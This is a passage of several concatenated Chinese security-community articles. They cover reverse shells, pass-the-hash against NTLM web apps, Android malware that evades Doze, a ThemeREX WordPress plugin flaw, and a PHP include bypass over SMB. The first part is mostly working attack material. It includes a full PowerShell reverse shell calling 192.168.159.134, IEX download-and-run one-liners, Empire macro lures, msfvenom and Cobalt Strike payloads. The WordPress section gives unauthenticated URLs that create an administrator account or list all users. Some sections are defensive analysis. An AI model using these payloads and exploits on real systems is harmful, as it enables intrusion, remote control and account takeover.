$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
或者保存为lltest_tcp.ps1文件
`powershell IEX (New-Object
Net.WebClient).DownloadString('http://192.168.159.134/lltest_tcp.ps1');Invoke-lltestTcp`
lltest_tcp.ps1 如下：
function Invoke-lltestTcp
{
$client = New-Object Net.Sockets.TCPClient('192.168.159.134',6666)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
# dnscat2 反弹DNS shell
dnscat2(<https://github.com/iagox86/dnscat2>
)是一个DNS隧道，旨在通过DNS协议创建加密的命令和控制（C＆C）通道。dnscat2分为两部分：客户端和服务器。dnscat2客户端采用C语言编写，服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(<https://github.com/lukebaggett/dnscat2-powershell>)
利用dnscat2 和 dnscat2-powershell实现反弹DNS shell:
攻击者(Ubuntu 14.04 LTS 192.168.159.129)开启监听：
`ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.159.129" --no-cache -e
open`
-e open 不使用加密连接，默认使用加密
ruby dnscat2.rb —help 查看帮助
目标机执行：
`powershell IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.159.129`
成功反弹shell后，攻击者：
`session -i 1 #进入到session 1`
`shell #执行之后会新生成一个session 需要通过session -i 2 切换`
`session -i 2`
## Empire 结合office反弹shell
Empire(<https://github.com/EmpireProject/Empire> )
基于powershell的后渗透攻击框架，可利用office 宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell
### 利用office 宏反弹shell
攻击者(192.168.159.134)开启监听:
`uselistener http`
`execute`
`back`
`usestager windows/macro http #生成payload`
`execute`
生成/tmp/macro 攻击代码后，新建一个word 创建宏
点击“文件”-“宏”-“创建”，删除自带的脚本，复制进去/tmp/macro文件内容，并保存为“Word 97-2003文档(
_.doc)”或者“启用宏的Word 文档(_.docm)”文件，当诱导目标打开，执行宏后，即可成功反弹shell：
说明:需要开启宏或者用户手动启用宏。开启宏设置：“文件”-“选项”-“信任中心”,选择“启用所有宏”
### 利用office OLE对象插入bat文件反弹shell
攻击者(192.168.159.134)开启监听 并生成bat文件payload：
`listeners`
`usestager windows/launcher_bat http`
`execute`
在word中“插入”-“对象”-“由文件创建”
处，插入launcher.bat文件，可更改文件名称和图标，进行伪装，当诱导目标点击launcher_lltest.xls文件，执行后，即可成功反弹shell：
## PowerSploit DLL注入反弹shell
PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode（注入shellcode到执行进程）等功能。
利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入，反弹shell
1）msfvenom生成dll后门
`msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.134
lport=6667 -f dll -o /var/www/html/PowerSploit/lltest.dll`
说明：目标机64位 用x64 ； 32位的话用windows/meterpreter/reverse_tcp
2）metasploit 设置payload 开启监听
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.159.134
set LPORT 6667
exploit
3）powershell 下载PowerSploit中Invoke-DllInjection.ps1和msfvenom生成的dll后门
首先上传dll文件到目标机。然后Get-Process 选定一个进程，最后注入到该进程
目标机执行:
Get-Process #选择要注入的进程
IEX (New-Object Net.WebClient).DownloadString("http://192.168.159.134/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
Invoke-DllInjection -ProcessID 5816 -Dll C:UsersAdministratorDesktoplltest.dll
## metasploit反弹shell
利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell
攻击者(192.168.159.134)：
use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.159.134
set LPORT 6666
exploit
目标机执行：
powershell.exe -nop -w hidden -c $f=new-object net.webclient;$f.proxy=[Net.WebRequest]::GetSystemWebProxy();
$f.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $f.downloadstring('http://192.168.159.134:8080/4iNSwaMtwWjm');
## Cobalt strike反弹shell
Cobalt strike的Scripted Web
Delivery模块，可通过bitsadmin、powershell、python、regsvr32等进行反弹shell，类似metasploit的web_delivery模块
说明：安装Cobalt strike时推荐 java version “1.8.0_121”
1)运行服务端
`./teamserver 192.168.159.134 lltest #lltest为连接密码`
2)运行客户端：
`./cobaltstrike #用户名随便输入 密码lltest`
3)开启监听:
首先要创建一个Listener, 点击 Cobalt Strike->Listeners ，然后点击Add便可创建Listeners
点击Cobalt Strike->Listeners
payload可选择windows/beacon_http/reverse_http
说明：其中windows/beacon _是Cobalt
Strike自带的模块，包括dns,http,https,smb四种方式的监听器，windows/foreign_
为外部监听器，即msf或者Armitage的监听器。
4)生成powershell payload:
点击Attack -> Web Drive-by -> Scripted Web Delivery
Type选择 powershell
5)目标机执行powershell payload:
`powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://192.168.159.134:83/a'))"`
6)成功反弹shell后，右键interact 进入shell
## 参考
<https://decoder.cloud/2017/01/26/dirty-tricks-with-powershell/>
<https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/>
<https://enigma0x3.net/2016/03/15/phishing-with-empire/>
<http://www.hackingarticles.in/command-injection-exploitation-using-web-delivery-linux-windows/>
<https://evi1cg.me/archives/Nishang_shells.html>
<https://evi1cg.me/archives/Cobalt_strike.html> | 社区文章 |
# 使用 PtH 攻击 NTLM 认证的 Web 应用
##### 译文声明
本文是翻译文章，文章来源：labs.mwrinfosecurity.com
原文地址：[ https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/]( https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/)
译文仅供参考，具体内容表达以及含义原文为准。
本文详细介绍了在Windows/Active Directory环境中使用PtH攻击NTLM认证的web应用的详细步骤。该技术细节来源于Alva
‘Skip’ Duckwall 和Chris Campbell在2012年blackhat中名为“Still Passing the Hash 15
Years Later…”的演讲主题。
## 简介
Windows Active Directory环境的主要优点是它使用Kerberos 或者
NTLM认证来实现企业级单点登录（SSO）。这些方法通常用于各种企业资源的访问控制，从文件共享到Web应用程序，例如SharePoint，OWA或用于特定业务的内部Web应用程序。在Web应用程序的方面，IWA（Integrated
Windows Authentication）允许用户通过Kerberos 或者
NTLM认证对Web应用程序进行自动身份验证，比如用于Web应用程序的Windows
SSO。众所周知，NTLM身份验证协议的设计可能存在PtH攻击，用户使用哈希密码而不需原始密码就能进行身份验证。自1997年开始，这种攻击的公共工具已经存在，当时Paul
Ashton发布了一个改进的SMB客户端，该客户端使用LanMan哈希来访问网络共享。
## 背景
多年来，PtH针对Windows环境的攻击已经得到了充分的证明。下面是选取的一些有价值的参考文献：
1. Microsoft的官方文档详细说明了在尝试NTLM身份验证之前，“客户端计算出一个哈希密码，丢弃掉实际密码”的过程。在Windows环境中可能更有助于理解NTLM身份验证为什么存在PtH攻击：[ https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-ntlm](/docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-ntlm)
2. Hernan Ochoa’s的幻灯片讨论了PtH最初的工具包：<https://www.coresecurity.com/system/files/publications/2016/05/Ochoa_2008-Pass-The-Hash.pdf> 。文章讲述了一种从2000年开发的针对Windows机器的PtH攻击方法。
3. 所有关于PtH的文章中，最感兴趣的是pth-suite Linux工具（这工具最初的发布是为Backtrack Linux编写的。所有的工具在Kali Linux中都有了新的位置，有一个需注意的例外，对写这篇博客非常有用，后面会详细说明）: <https://passing-the-hash.blogspot.com/>
4. “Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy”讨论的是本地用户账户的PtH，以及自Windows Vista的对PtH增加的额外限制：<https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/>
5. 使用Metasploit中的PsExec模块利用PtH： https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
6. Mimikatz中PtH模块的GitHub文档：<https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth>
我一直对这种攻击技术感兴趣主要是因为可以使用PtH攻击NTLM认证的Web应用。由于Windows Active
Directory环境无处不在，大量的企业内部Web应用都用此验证方案进行登陆，允许从公司工作站无缝SSO（Single Sign-On）到公司资源。因此，如果能够在Windows环境中对这些网站完成PtH攻击，就可以在后续对其进行更加深入有效的利用。当一个域名全部使用这种方案时，攻击的影响就非常明显了，比如一个给定域名在完整域名hashdump之后，会包含所有员工用户账户相关的NT哈希。在这种情况下，PtH不需要破解任何哈希密码就可以模拟任意公司员工登陆。这意味着即使对于那些具有安全意识的用户，他们可能使用了20多个字符长度的密码，也无法避免攻击者在企业的Web应用程序上模拟登陆。
## 使用PtH攻击NTLM认证的Web应用
那么实际中如何对NTLM认证的网站进行攻击？很长一段时间以来，我用谷歌搜索这个主题的结果，并没有找到对这种攻击方法详细的介绍（大约在2015-2018年）。在研究Kali
Linux的PtH工具集（pth-suite）时，有个很奇怪的问题。大部分原来的pth-suite工具在2015年整合到了Kali
Linux中，我之前提到的有一个不同，就是pth-firefox，顾名思义就是用于修改Firefox中NTLM认证代码以便能够允许Pth的工具。由于这些Linux工具对我没什么用，我就把注意力转移到了研究在Windows主机上使用Mimikatz进行同样的攻击的技术上。
在我自己发现一个可用的技术之后，我最近又偶然发现了由Alva ‘Skip’ Duckwall 和Chris Campbell在Blackhat
2012发表的[“Still Passing the Hash 15 Years
Later…”](https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/#Ref1)幻灯片的第30页。它详细介绍了一种方法，在使用Hernan
Ochoa的Windows凭据编辑器（WCE）直接注入详细NT哈希到内存后，使IE（或者其他使用Windows内置“Internet
Options”的浏览器）能够通过IWA进行认证。他们在演讲中的第[18分29](https://youtu.be/O7WRojkYR00?t=1109)秒给出了[这种技术](https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/#Ref3)的演示。我花了很多时间才找到这些信息，并为实际利用的相关步骤写了文档，这篇博客的后续内容将介绍在Windows10主机中如何使用Mimikatz进行攻击。
## 攻击
### 配置环境
为了演示使用NTLM身份验证的Web应用程序，我是用了Exchange
2013服务器，配置为专门使用IWA进行OWA。在Exchange服务器上运行PowerShell配置命令如下：
Set-OwaVirtualDirectory -Identity “owa (Default Web Site)”
-FormsAuthentication $false -WindowsAuthentication $true
Set-EcpVirtualDirectory -Identity “ecp (Default Web Site)”
-FormsAuthentication $false -WindowsAuthentication $true
其它预先准备的条件：
l
Exchange服务器已加入test.com域。在此域上，使用复杂的密码和相应的邮箱创建名为TESTpath的用户。计算此用户密码的NT哈希值，以便稍后攻击使用。NT哈希生成如下：
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "Strong,hardtocrackpassword1".encode("utf-16le")).digest())'
57f5f9f45e6783753407ae3a8b13b032
l 在此之后，在未入域的Windows
10主机上下载最新版本的Mimikatz，该主机与Exchange服务器连接的网络相同。我们为了能够使用Exchange服务器的域名而不是IP地址，将此独立计算机上的DNS服务器设置为test.com的域名控制器。
### 攻击
假设我们的OWA Web应用程序可以在<https://exchange.test.com/owa>上访问，通常浏览到OWA会有以下提示：
因为计算机在内存中没有任何域凭据，从网站收到的WWW-Authenticate头指定它可以接受NTLM身份验证。
以管理员身份运行Mimikatz，我们可以在TESTpth用户的上下文中启动命令提示符，方法是使用Mimikatz中的Pass-the-Hash模块-sekurlsa::pth-并提供用户的NT哈希作为参数：
privilege::debug
sekurlsa::pth /user:pth /ntlm:57f5f9f45e6783753407ae3a8b13b032 /domain:TEST /run:cmd.exe
这样不会改变计算机的本地权限，但是如果我们尝试从新生成的命令提示符访问任何网络资源，它将在我们注入的证书的上下文中完成。
为了确保我们的浏览器在这些注入的凭据下运行，我们在命令提示符中通过运行“C:Program Filesinternet
exploreriexplore.exe”这个命令生成IE进程
检查“Internet选项”对话框中“本地Intranet”区域的“安全设置”，我们可以看到默认情况下，只对Intranet区域中的网站自动进行身份验证（使用SSO）。如下图所示：
因此，为了在Windows上使用PtH攻击Internet
Explorer，必须将目标站点添加到“本地Intranet区域”。可以使用一个单独的通配符域来代替单独添加网站到这个域，在这种情况下，“*.test.com”将匹配“Test.com”的所有子域。配置如下面的截图：
配置完成后，当浏览到<https://exchange.test.com/owa>。TESTpth用户将通过NTLM认证自动进行身份验证，然后OWA加载成功。
## 潜在的影响
在域名泄露之后，对任何支持IWA的公司，PtH攻击Web应用程序将变得非常高效，可以模拟任何员工获取权限。虽然这可能主要包括的是微软Web服务，比如SharePoint和OWA（如果IWA是专门启用的），但是各种定制的内部财务程序，包括那些用来外部支付的应用程序，也是一样的。现在行业开始转向云服务环境，通常涉及ADFS联合身份验证，一般默认情况下，[ADFS在提供Internet
explorer用户代理时支持IWA](https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/#Ref4)。在这种情况下，意味着可以通过PtH访问公司的云端资源。
## 建议
虽然这篇文章的主要目的不是讨论保护Windows Active
Directory环境的问题，但我们不能只在一个点上说问题，应该给感兴趣的人提供一些解决这些攻击的更深层次的思考。更多的细节没有在这篇文章讨论，可以在以前的文章中找到：[Planting
the Red Forest: Improving AD on the Road to
ESAE](https://www.mwrinfosecurity.com/our-thinking/planting-the-red-forest-improving-ad-on-the-road-to-esae/).
Windows环境中的Pth问题无法自己本身解决。Active
Directory用于SSO的两种协议都能发生Pth类型的攻击。最好的建议就是首先要防止密码哈希和Kerberos密钥的泄露。最重要的是域名控制器，域管理员控制，或其他在Active
Directory作用包含保存凭据信息的部分不被泄露，这些都将直接导致所有存储的密码哈希和Kerberos密钥的泄露。在Windows10和Server
2016中，可使用Credential Guard来保护内存中保存的凭据信息不受到窃取攻击。
在单独查看Web应用程序的IWA时，确保在登陆过程中使用多重身份验证（MFA）会有很好效果。有一个特例，在ADFS和Office
365一起使用时，通过IWA进行初始身份验证，为了完整整个验证还需要请求第二个因素，之后才能授权访问公司资源。但不幸这种方法不能通用的解决Pth问题，因为不是所有协议都支持它，比如SMB不支持MFA，但还提供允许远程代码执行的功能，这就使攻击者可以不受阻碍地使用PtH在企业环境中横冲直撞。
## 最后说明：Kerberos认证的 “PtH”
PtH背后的概念是，一旦凭证存储被泄露，就可以使用被盗存储的凭证材料（绝不应该是明文密码），模拟用户进行身份验证，而无需获取该用户的相应明文密码。
在参考Microsoft关于实现Kerberos协议的文档时，描述了如何使用“Kerberos与身份验证”来获取Kerberos票证授权（TGT）。这个过程要求用户给域控制器发送一个“验证信息”，使用从用户登录的密码派生的主密钥加密。然后，该文档解释了当DC收到TGT请求时，“它在其数据库中查找用户，获取关联用户的主密钥，解密预身份验证数据，并评估内部的时间戳。”这意味着秘钥本身用于用户的身份验证而不是作为用户的明文密码。用户的密码派生秘钥存储在AD数据库中，意味着如果此数据库遭到破坏（比如：当攻击者获得与管理员权限时候），则可以恢复存储的秘钥以及用户存储的NT哈希。由于只需要存储的秘钥来创建有效的验证信息，而Kerberos身份验证的作用就是“传递秘钥”。Alva
Duckwall和Benjamin Delpy将此攻击称为“超越哈希”，而surklsa::pth
Mimikatz模块只支持使用Kerberos密钥来编写Kerberos预认证请求。
当然这意味着Web应用程序或任何其他公司支持直接使用AD进行Kerberos身份验证，则可以使用OTH对其进行攻击。 | 社区文章 |
# 【技术分享】Android Doze机制与木马的绕过方式
|
##### 译文声明
本文是翻译文章，文章来源：360烽火实验室
译文仅供参考，具体内容表达以及含义原文为准。
**一、 概述**
Android
6.0引入的Doze机制本意在于节省系统耗电量，延长电池的使用时间，但是却在抑制恶意软件对系统资源的占用上发挥了神奇的效果，恶意软件因此也开始探索绕过Doze机制的手段。文本将为大家简要介绍Doze的功能，并从安全的角度解读Doze的奇效，最后揭露一款绕过Doze机制的恶意软件。
**二、 Doze简介**
**(一) Doze功能详情**
Android 6.0(API 23)为用户和开发者带来了许多新功能，Doze（打盹）即为其中的一项。 **Doze的主要目的是节省设备的耗电量**
，即当设备未连接至电源，且长时间处于闲置状态时，系统会将应用置于“打盹”模式。在这个模式下，不在白名单中的应用将无法连接网络和占用CPU资源，并且其作业、同步和标准闹铃的运行时间将被推迟。由于该模式与API版本无关，因此未适配API
23及其后版本的应用只要运行在Android 6.0及更高版本的系统下，就会受到Doze模式影响。
如图1所示，应用了Doze模式的Android系统在满足了上述进入Doze状态的条件后，会周期性地退出Doze状态进入一段时长为30秒的，被称为maintenance
window的时间段。在此期间，系统会退出Doze模式以使得应用完成被延时的任务。从图中可以看出随着Doze状态的持续，设备距离下一次被唤醒的等待时间会越来越长。
图1 Doze模式下的maintenance window状态示意
(图片来源：<https://developer.android.com/training/monitoring-device-state/doze-standby.html?hl=en>)
**当系统处于Doze模式下，系统和白名单之外的应用将受到以下限制** ：
1.无法访问网络；
2.Wake Locks被忽略；
3.AlarmManager闹铃会被推迟到下一个maintenance
window响应，除非使用setAndAllowWhileIdle()或SetExactAndAllowWhileIdle()设置闹铃。与此同时，setAlarmClock()设置的闹铃在Doze模式下仍然生效，但系统会在闹铃生效前退出Doze；
4.系统不执行Wi-Fi扫描；
5.系统不允许同步适配器运行；
6.系统不允许JobScheduler运行；
需要注意的是，开发者仍然可以使用官方提供的GCM服务（Google Cloud
Messaging）使得应用可以在Doze模式下传递消息并被允许临时访问网络服务和部分Wake
Locks，这一机制通过高优先级GCM消息启用，且不会影响Doze模式。
**(二) Doze模式下的白名单**
Google官方认为，开发者通过合理安排任务和使用官方提供的GCM高优先级消息，大部分应用应该能与Doze模式兼容。对于剩下的那一小部分应用，系统则提供了一份可配置的白名单。位于白名单中的应用可以继续使用网络并保留部分wake
lock，但作业和同步仍然会被推迟，常规的AlarmManager闹铃也不会被触发。Android
developers提供了一个列表来指导开发者确定自己的应用需要使用哪些方式。
表1 对GCM和白名单的使用指导
(图片来源：<https://developer.android.com/training/monitoring-device-state/doze-standby.html?hl=en>)
对于用户，可以直接进入设置->电池->电池优化中进行设置：
图2 白名单设置界面
开发者可以调用PowerManager.isIgnoringBatteryOptimizations方法检测应用是否在白名单中。若应用不在白名单中，开发者可以在AndroidManifest.xml中申请REQUEST_IGNORE_BATTERY_OPTIMIZATIONS权限，并使用一个包含了ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS的
Intent弹出对话框让用户选择将本应用加入白名单中。在用户对应用设置了白名单之后，可以根据需要从白名单中移除应用。
图3 通过发送Intent触发对话框
**三、 Doze对恶意软件的影响**
现在我们抛开Doze的省电功效，从安全的角度来探讨Doze的奇效。Doze实现省电的方式本质上是系统通过全局调控的方式限制应用程序对资源的占用，这种调控方式的产生表明了系统对于应用程序在资源占用方式上的态度转变——从“放任自由”到开始强有力的“调控”，调控产生了两种神奇的效果：
1.在Android 6.0以前，内核通过任务调度机制来决定应用程序对资源的占用，而Doze的产生意味着在内核之上产生了一层优先“调度”机制，
**这层“调度”机制能够改变应用程序对于系统资源的占用比例** ；
图4 Android 6.0以前任务调度方式
图5 引入Doze后任务“调度”方式
2.在Android
6.0以前，恶意软件对资源的占用权利同其他同级应用一样，均由内核统一调度。而引入Doze之后，应用程序对资源的占用权利将按功能的需要予以适当分配（详情见“Doze模式下的白名单”），这意味着
**正常的应用程序由于其功能的“正当性”将更容易获得系统资源** ，而恶意软件将由于其功能的“非法性”而更难获得系统资源。
Doze机制对恶意软件资源占用产生的不利影响极有可能遏制恶意软件在用户机器上的表现，使其达不到预期的不良意图，因而我们推断必将产生多种绕过Doze的手段，下文将为大家揭露近期发现的一种。
**四、 恶意软件伪装成合法应用绕过Doze限制**
从上文的介绍中我们可以看出，Doze机制极大地限制了白名单外应用对网络，CPU和系统其它资源的占用比例。这意味着对于木马等恶意软件来说，利用设备闲置时段进行私自下载，窃取用户隐私数据等行为以防止用户感知的企图落空。随着使用Android
6.0及更高版本的设备数量不断增加，恶意软件设法绕过Doze势在必行。
**360烽火实验室最新发现一款伪装成Chrome绕过Doze的应用，该恶意软件从图标到名称与正版Chrome完全一致**
。如图6，该病毒运行后会隐藏其图标并释放运行子包，通过发送Intent诱使用户将其加入白名单。
图6 恶意软件通过发送Intent诱使用户将其加入白名单
图7 相关利用代码
除使用欺骗手段绕过Doze外，该恶意软件将会在后台私自联网，通过精心构造的手段获取、拼接URL，私自下载其他应用并提示用户安装。此外，该恶意软件注册BroadcastReceiver监听多个事件并进行处理，涵盖短信发送与接收、安装与卸载软件等，对用户数据安全造成危害。
图8 私自下载其他软件
图9 注册BroadcastReceiver监听多种事件
**五、 小结**
从Google官方对Android系统的更新上我们可以看出Google对于规范Android生态圈的决心，但正如本报告所揭示的，恶意应用开发者的脚步也从未止歇。因此，我们从开发者与用户的角度提出了一些安全建议与方法，希望能对保护Android用户的安全起到一定作用。
对于开发者，我们建议多参考官方开发者手册，并积极调整自己的应用程序使之符合官方标准，避免对权限和功能的滥用。
对于用户，我们建议尽量养成以下良好习惯：
1.从可信任的平台下载、安装应用程序；
2.谨慎授予应用程序请求的权限；
3.及时执行系统与软件版本更新；
4.养成备份重要信息的习惯；
5.安装安全软件，在疑似遭遇恶意软件侵害时积极反馈；
**360烽火实验室**
360烽火实验室，
**致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究**
。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
**作者：天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/W4PbykSWJ1f1c-loOjrclg>**
## 0x00 前言
ThemeREX是一家专门出售商业WordPress主题的公司。ThemeREX
Addons插件为ThemeREX公司开发的预装在所有ThemeREX商业主题中用来帮助其用户设置新站点和控制不同的主题的一款插件。根据相关预测，该插件预装在超过44000个网站上。
## 0x01 漏洞描述
WordPress ThemeREX Addons
2020-03-09之前版本中存在安全漏洞。未经授权的攻击者可利用该漏洞在后台添加一个管理员账号、或是查看所有账号信息等操作。
## 0x02 漏洞分析
根据相关披露，漏洞应该存在于plugin.rest-api.php文件中
我们首先来看一下\wp-content\plugins\trx_addons\includes\plugin.rest-api.php文件中的代码
位于该文件40行处，存在一处trx_addons_rest_get_sc_layout方法，如下图
在该方法中，存在一处明显的漏洞点，见下图代码块
接下来我们根据这段代码详细分析下。我们首先来观察一下下图53行红框处
位于上图红框处，可见程序从请求中直接获得参数，并将请求中的参数键值对赋值与`params`数组。这将导致`params`数组可控
紧接着，程序判断$params数组中是否存在名为`sc`的键名，见下图红框处
若该键名存在，经过字符替换处理后将其值赋与`sc`变量。
简单来说，这里的`sc`变量可以通过请求中的sc参数进行传递。
随后，程序通过function_exists判断$sc变量对应的方法是否存在，见下图
如果`sc`变量中对应的方法存在，程序将`params`数组作为参数列表传入该方法执行。
至此，漏洞的触发点我们已经分析完毕。接下来我们需要寻找一下调用链
由于漏洞触发点位于trx_addons_rest_get_sc_layout方法中，我们需要分析一下如何构造请求以触发这个漏洞。
仍然是位于\wp-content\plugins\trx_addons\includes\plugin.rest-api.php文件中，有着如下代码
通过上图可见，程序通过add_action方法将trx_addons_rest_register_endpoints函数挂接到rest_api_init动作上。
我们查看一下rest_api_init这个动作
通过上图描述不难看出：
rest_api_init动作将会在API请求发送到服务器后，服务器初始化处理API请求时触发。将trx_addons_rest_register_endpoints函数挂接到rest_api_init动作上，当有API请求发送到后台处理时，trx_addons_rest_register_endpoints方法将会被加载。
继续跟踪后续代码
在trx_addons_rest_register_endpoints方法中通过register_rest_route方法注册了一个自定义接口，见上图红框处。
这里简单介绍一下register_rest_route方法：
WordPress官方核心代码提供了一套WP_REST_API接口，但是实际开发以及使用过程中难免会出现官方API接口满足不了实际需求的状况。为此WordPress提供了register_rest_route方法用于自定义注册WP
REST API接口。
register_rest_route方法参数如下
在介绍完register_rest_route方法后，我们回归漏洞代码，分析此处register_rest_route方法注册的API接口
通过上图第一个红框处namespace以及route属性值可知：该接口路由为trx_addons/v2/get/sc_layout；通过第二个红框methods属性值可知：该接口可以通过GET\POST方法访问；通过第三个红框callback属性值可知：该接口回调函数为漏洞触发点trx_addons_rest_get_sc_layout方法。通过上述信息，我们可以构造出通往漏洞触发点的请求。
除了通过分析代码来请求这种方法外，我们还可以通过wordpress还提供的接口来方便快捷的查看所有注册的API接口信息。
访问127.0.0.1/wordpress/wp-json/ 见下图
wp-json这个目录会将wordpress中所有注册的API接口信息展示出来。
通过页面中展示的API列表，我们可以看见/trx_addons/v2/get/sc_layout路由信息
展开/trx_addons/v2/get/sc_layout路由 见下图
上图为展开后的详细接口信息，在这里我们可以看到该接口允许的methods以及url地址
值得注意的是：通过分析 /trx_addons/v2/get/sc_layout接口代码时可发现，ThemeREX
Addons插件并没有在代码中使用current_user_can等方法对接口进行权限校验。也就是说，未经身份验证的用户也可以访问该接口从而触发漏洞
## 0x03 漏洞利用
通过上文的分析可知，我们可以通过请求来控制待执行的函数名，并可以通过一个数组对该函数传参。因此我们需要找到一个可以利用的PHP或wordpress函数，该函数需要满足可以接收并处理数组类型参数
### 利用一：通过 wp insert_user 新建管理员账号
构造如下链接：
[http://127.0.0.1/wordpress/?rest_route=/trx_addons/v2/get/sc_layout&sc=wp_insert_user&role=administrator&user_login=TEST&user_pass=TEST](http://127.0.0.1/wordpress/?rest_route=/trx_addons/v2/get/sc_layout&sc=wp_insert_user&role=administrator&user_login=TEST&user_pass=TEST)
不需要进行登录操作，直接访问以上链接即可成功利用。
根据上文漏洞分析一章可知，该链接最终会触发trx_addons_rest_get_sc_layout方法，见下图
此时上图中的`sc`参数值对应payload中sc值，为wp_insert_user
此时`params`数组值如下图
程序将`params`数组作为参数传入wp_insert_user方法并执行wp_insert_user方法。
wp_insert_user方法可以为wordpress程序添加一个指定权限的用户，该方法接收一个数组作为参数满足触发漏洞的要求，见下图
wp_insert_user方法参数说明如下
由此一来，wordpress中将会增添一个administrator权限的名为TEST的用户，如下图
利用新创建的管理员账号可以完成进一步攻击：例如通过修改wordpress模板等操作，在wordpress中写入后门文件。
### 利用二：通过wp_dropdown_users 查看所有账号信息
构造如下链接：
[http://127.0.0.1/wordpress/wp-json/trx_addons/v2/get/sc_layout?sc=wp_dropdown_users&show=user_login](http://127.0.0.1/wordpress/wp-json/trx_addons/v2/get/sc_layout?sc=wp_dropdown_users&show=user_login)
wp_dropdown_users为wordpress提供的用来查询用户信息的函数
wp_dropdown_users同样满足可以接收一个数组作为参数的需求，wp_dropdown_users参数说明如下
通过wp_dropdown_users接口可以泄露wordpress账号信息。该操作同样不需要任何权限
上述payload中指定show参数值为user_login，这样可以查看wordpress所有用户名，见下图
show参数值可以设置为user_pass来进行查看存储在数据库中加密后的密码，见下图
show参数值可以设置为user_email来进行查看邮箱，见下图
## 0x04 总结
为了解决安全问题，ThemeREX选择将受影响的plugin.rest-api.php文件完全删除。plugin.rest-api.php文件是为了提供与Gutenberg插件的兼容性而设计，但在目前版本中Gutenberg插件已完全集成为WordPress核心。因此plugin.rest-api.php文件不再被需要，删除该文件不会影响到用户的正常使用。
* * * | 社区文章 |
# 使用SMB绕过PHP远程文件包含限制
|
##### 译文声明
本文是翻译文章，文章原作者 mannulinux，文章来源：mannulinux.org
原文地址：<http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
在这篇文章中，我分享一下PHP程序中的远程文件包含漏洞，它经常会在文件包含中被利用。尽管PHP环境已经配置了禁止从远程的`HTTP/FTP
URL`包含文件，但我将分享如何绕过远程文件包含的限制。
## PHP and SMB 共享文件访问权限
在PHP配置文件中，默认将`allow_url_include`设置为`Off`，来限制PHP去加载远程的HTTP/FTP文件，这也有效的防御了远程文件包含攻击。尽管`PHP`设置了`allow_url_include`和`allow_url_fopen`为`Off`,但是没有阻止下载`SMB
URL`。
## 攻击场景
当存在漏洞的PHP应用程序从攻击者控制的SMB共享机器上下载PHP
webshell时，SMB共享机器应该允许其访问该文件。攻击者应该设置SMB服务器可以匿名访问。因此，一旦存在漏洞的应用程序去从SMB共享机器上下载PHP
webshell时，SMB服务器不用判断任何身份，存在漏洞的程序就可以包含这个webshell。
让我们开始，首先在PHP的配置文件php.ini中禁止 “allow_url_fopen”
和”allow_url_include”，稍后配置SMB服务器可以匿名访问。一旦SMB共享设置好，就可以实施攻击。
## PHP 环境配置
存在漏洞的机器已经设置”allow_url_fopen”和”allow_url_include”
为`Off`,下面的截图显示当前的PHP版本为`5.5.11`。
在此之前，我们要去访问远程的HTTP服务器上的webshell时，确保PHP禁止了远程文件包含。
应用程序显示报错，当我从远程主机上测试包含PHP webshell时，远程文件包含没成功。
